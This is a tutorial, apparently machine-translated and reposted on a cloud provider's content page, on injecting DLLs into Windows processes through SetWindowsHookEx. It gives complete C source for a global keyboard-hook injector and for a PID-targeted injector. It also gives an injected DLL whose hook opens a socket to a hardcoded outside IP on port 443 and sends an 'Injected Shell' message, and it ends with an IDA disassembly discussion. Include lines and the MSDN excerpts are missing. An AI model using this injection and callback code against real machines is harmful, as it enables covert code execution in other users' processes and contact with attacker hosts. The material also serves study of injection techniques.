DLL injection: Windows Hooks

Source: Internet
Author: User

DLL injection: Windows Hooks

 

 

DLL injection aims to put the code into the address space of another process. So how can we implement DLL injection?

In fact, there are several methods to achieve this in Windows. Here we first try to use "SetWindowsHookEx" to create hooks. In addition, if you are interested in this aspect, you can refer to the most relevant literature in the article, which contains a lot of code and other useful information.

Windows Hooks

First, we need to understand the hook mechanism of Windows and the API function SetWindowsHookEx. The Hook mechanism allows applications to intercept and process window messages or specific events. Hooks can be divided into multiple types, such as WH_KEYBOARD and WH_MOUSE. These two types of hooks can be used to monitor messages of the keyboard and mouse respectively. There are also lower versions of these hooks. To understand the Hook mechanism, it must be clear that each Hook event has a list of associated pointers, called Hook linked lists. This linked list contains a series of sub-processes that are executed with events.

The following is the syntax of the Hook sub-program. The source is MSDN:

 

Use SetWindowsHookEx to implement DLL Injection

Use the API function SetWindowsHookEx () to install the Hook Child Program defined by an application to the Hook linked list. This is the syntax of the function, from MSDN:

 

IdHook is the Hook type, lpfn is the address pointer of the Hook sub-program, hMod is the handle of the application instance, and dwThreadId identifies the thread created by the current process. To point lpfn to the Child Program, load the DLL file to the address space of the exe file through the LoadLibrary function. Then, use GetProcessAddress to obtain the address of the required function. Finally, call SetWindowsHookEx to wait for the configured event to occur or create a message service similar to BroadcastSystemMessage. Once an event occurs, Windows will load the DLL to the address space of the target process.

Code

The following code is used to load the DLL to an executable program by using the LoadLibrary function. Call the GetProcessAddress function to obtain the injection address from the DLL. Finally, set a global hook (set the parameter to 0 to monitor the global thread) to monitor the program.

Injector. c

#include 
 
  int main(int argc, char* argv){    /*    Loads inject.dll into the address space of the calling function, in this case the running exe    */    HMODULE dll = LoadLibrary("inject.dll");    if(dll == NULL)    {        printf("Cannot find DLL");        getchar();        return -1;    }    /*    Gets the address of the inject method in the inject.dll    */    HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "inject");    if(addr == NULL)    {        printf("Cannot find the function");        getchar();        return -1;    }    /*    Places a hook in the hookchain for WH_KEYBOARD type events, using the address for the inject method, with the library address    */    HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0);    if(handle == NULL)    {        printf("Couldn't hook the keyboard");    }    printf("Hooked the program, hit enter to exit");    getchar();    UnhookWindowsHookEx(handle);    return 0;}
 

InjectShell. c

#include 
  
   #include 
   
    #include 
    
     INT APIENTRY DllMain(HMODULE hDll, DWORD Reason, LPVOID Reserved){    FILE *file;    fopen_s(&file, "C:\temp.txt", "a+");    switch(Reason)    {        case DLL_PROCESS_ATTACH:            fprintf(file, "DLL attach function called.n");            break;        case DLL_PROCESS_DETACH:            fprintf(file, "DLL detach function called.n");            break;        case DLL_THREAD_ATTACH:            fprintf(file, "DLL thread attach function called.n");            break;        case DLL_THREAD_DETACH:            fprintf(file, "DLL thread detach function called.n");            break;    }    fclose(file);    return TRUE;}int inject(int code, WPARAM wParam, LPARAM lParam){    WSADATA wsa;    SOCKET s;    struct sockaddr_in server;    char *message;    printf("\nInitializing Winsock...");    if(WSAStartup(MAKEWORD(2,2),&wsa) != 0)    {        printf("Failed. Error Code : %d", WSAGetLastError());        return(CallNextHookEx(NULL, code, wParam, lParam));    }    printf("Initialized. \n");    if((s = socket(AF_INET, SOCK_STREAM, 0 )) == INVALID_SOCKET)    {        printf("Could not create socket : %d", WSAGetLastError());    }    printf("Socket Created. \n");    server.sin_addr.s_addr = inet_addr("192.168.146.130"); //ip address    server.sin_family = AF_INET;    server.sin_port = htons( 443 );    if(connect(s, (struct sockaddr *)&server, sizeof(server)) < 0)    {        puts("connect error");        return(CallNextHookEx(NULL, code, wParam, lParam));    }    puts("Connected");    message = "Injected Shell";    if( send(s, message, strlen(message), 0) <0)    {        puts("Send failed");        return(CallNextHookEx(NULL, code, wParam, lParam));    }    puts("Data sent\n");    return(CallNextHookEx(NULL, code, wParam, lParam));}
    
   
  

Here we can see that the DLL file is connected to other hosts.

 

Next, the DLL is loaded to another different process!

 

Although this code still has problems, the global hook we set means that we can monitor any key information. In other words, we can finally inject something out of expectation. Fortunately, it can be injected into a specific process. There is another version that includes some necessary modifications. MSDN helped me get something I needed. This Code adds some additional steps to the target injection. First, obtain the id of the injection process. Obtain the thread id of the process through this, and the last parameter in the SetWindowsHookEx function is the thread id. Then we started to monitor our processes, and we only needed to wait.

Injector2.c

#include 
     
      #include 
      
       #include 
       
        #include 
        
         #include 
         
          /*This method is used to get a thread id for a process. It loops through all of the threads and compares their pid with the desired pid*/DWORD getThreadID(DWORD pid){    puts("Getting Thread ID");    HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);    if(h != INVALID_HANDLE_VALUE)    {        THREADENTRY32 te;        te.dwSize = sizeof(te);        if( Thread32First(h, &te))        {            do            {                if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))                {                    if(te.th32OwnerProcessID == pid)                    {                        HANDLE hThread = OpenThread(READ_CONTROL, FALSE, te.th32ThreadID);                        if(!hThread)                        {                            puts("Couldn't get thread handle");                        }                        else                        {                            //DWORD tpid = GetProcessIdOfThread(hThread);                            //printf("Got one: %u\n", tpid);                            return te.th32ThreadID;                        }                    }                }            } while( Thread32Next(h, &te));        }    }    CloseHandle(h);    return (DWORD)0;}/*This method performs the actual injection. It gets an appropriate thread id, loads the dll, gets the address of the inject method, then calls SetWindowsHookEx.*/int processInject(int pid){    DWORD processID = (DWORD)pid;        TCHAR szProcessName[MAX_PATH] = TEXT("
          
           ");        HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID);        if (NULL != hProcess)        {                HMODULE hMod;                DWORD cbNeeded;                if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )                {                        GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName)/sizeof(TCHAR) );                }        }    _tprintf( TEXT("Injecting into process %s PID: %u\n"), szProcessName, processID);    DWORD threadID = getThreadID(processID);    printf( "Using Thread ID %u\n", threadID);    if(threadID == (DWORD)0)    {        puts("Cannot find thread");        return -1;    }    HMODULE dll = LoadLibrary("inject2.dll");    if(dll == NULL)    {        puts("Cannot find DLL");        return -1;    }    HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "test");    if(addr == NULL)    {        puts("Cannot find the function");        return -1;    }    //Uses the threadID from getThreadID to inject into specific process    HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, threadID);    if(handle == NULL)    {        puts("Couldn't hook the keyboard");    }    getchar();    getchar();    getchar();    UnhookWindowsHookEx(handle);    return 0;}int main(int argc, char* argv){    int pid;    puts("Inject into which PID?");        scanf ("%u",&pid);    printf("PID entered: %u\n", pid);    int result = processInject(pid);    if(result == -1)    {        puts("Could not inject");    }    else    {        puts("Injected!");    }    getchar();}
          
         
        
       
      
     

Test1.c

#include 
           
            #include 
            
             int test(){    char str[80];    /*    Get's the current process id to display in the message box    */    int id = GetCurrentProcessId();    sprintf(str, "Hello, process: %d", id);    MessageBox(NULL, str, "Hello DLL!", MB_OK);    return 0;}
            
           

 

We can see that this is the message box running from the process we selected. Through Process Explorer, you can see that the DLL is loaded to the Notepad ++ and injector programs at the same time. This is precisely because the program itself loads the DLL file.

 

However, the monitoring process has some limitations. A process must have a message loop and be able to receive messages before being monitored. This mainly limits the GUI-based application goals. SetWindowsHookEx cannot be used in processes with higher integrity.

Reverse code

The following is IDA's first injector code.

 

Although it is not the whole flow chart of the process, we can see the main part of SetWindowsHookEx. First load inject. dll through LoadLibraryA. It can be noted that param1 is used before each function call. Save the offset address in the stack address of the first parameter. Therefore, it obtains the address of the injection function (dllMethod), assigns the DLL handle to param1, and CALLS GetProcAddress. Finally, load the SetWindowsHookEx parameter value and call the function. Compare the second function.

 

In contrast, there is only one difference. Copy the threadID to the register, copy it to the stack address where the fourth parameter is located, and then call the SetWindowsHookEx function. Not bad? In the next article, we will prepare to open the remote thread injection method. Let's look forward to it!

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.